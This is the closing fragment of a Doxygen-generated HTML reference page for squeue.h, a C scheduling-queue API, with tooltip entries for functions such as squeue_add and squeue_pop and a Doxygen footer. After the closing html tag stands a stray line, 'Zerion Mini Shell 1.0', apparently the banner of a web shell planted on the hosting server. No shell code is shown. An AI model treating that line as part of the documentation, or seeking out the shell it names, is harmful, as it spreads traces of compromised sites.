<div class="ttc" id="squeue_8h_html_a943d1b7cd0ed4ac2e9b2691ef7b6ff72"><div class="ttname"><a href="squeue_8h.html#a943d1b7cd0ed4ac2e9b2691ef7b6ff72">squeue_event_runtime</a></div><div class="ttdeci">struct timeval * squeue_event_runtime(squeue_event *evt)</div><div class="ttdoc">Get the scheduled runtime of this event. </div></div>
<div class="ttc" id="squeue_8h_html_aba66f0428786d416b3cc609ff4ef90a0"><div class="ttname"><a href="squeue_8h.html#aba66f0428786d416b3cc609ff4ef90a0">squeue_pop</a></div><div class="ttdeci">void * squeue_pop(squeue_t *q)</div><div class="ttdoc">Pops the next scheduled event from the scheduling queue and returns the data for it. </div></div>
<div class="ttc" id="pqueue_8h_html"><div class="ttname"><a href="pqueue_8h.html">pqueue.h</a></div><div class="ttdoc">Priority Queue function declarations. </div></div>
<div class="ttc" id="squeue_8h_html_ac39f0c791fd125c677a18590d158e033"><div class="ttname"><a href="squeue_8h.html#ac39f0c791fd125c677a18590d158e033">squeue_event_data</a></div><div class="ttdeci">void * squeue_event_data(squeue_event *evt)</div><div class="ttdoc">Get data of an squeue_event struct. </div></div>
<div class="ttc" id="squeue_8h_html_a7da35a0b70389e01ef10e34500321fc6"><div class="ttname"><a href="squeue_8h.html#a7da35a0b70389e01ef10e34500321fc6">squeue_evt_when_is_after</a></div><div class="ttdeci">int squeue_evt_when_is_after(squeue_event *evt, struct timeval *reftime)</div><div class="ttdoc">Returns true if passed timeval is after the time for the event. </div></div>
<div class="ttc" id="squeue_8h_html_a8dfd33fdc99ab4a5008b90ba377ad1f5"><div class="ttname"><a href="squeue_8h.html#a8dfd33fdc99ab4a5008b90ba377ad1f5">squeue_destroy</a></div><div class="ttdeci">void squeue_destroy(squeue_t *q, int flags)</div><div class="ttdoc">Destroys a scheduling queue completely. </div></div>
<div class="ttc" id="squeue_8h_html_a2a6b4f97bff4c22a00117e976c75dba0"><div class="ttname"><a href="squeue_8h.html#a2a6b4f97bff4c22a00117e976c75dba0">squeue_add_usec</a></div><div class="ttdeci">squeue_event * squeue_add_usec(squeue_t *q, time_t when, time_t usec, void *data)</div><div class="ttdoc">Adds an event to the scheduling queue with millisecond precision See notes on squeue_add_tv() for det...</div></div>
<div class="ttc" id="squeue_8h_html_a5cefe0f89f4550d27b3b7e72a49ff3f9"><div class="ttname"><a href="squeue_8h.html#a5cefe0f89f4550d27b3b7e72a49ff3f9">squeue_add</a></div><div class="ttdeci">squeue_event * squeue_add(squeue_t *q, time_t when, void *data)</div><div class="ttdoc">Adds an event to the scheduling queue. </div></div>
</div><!-- fragment --></div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by &#160;<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.5
</small></address>
</body>
</html>

Zerion Mini Shell 1.0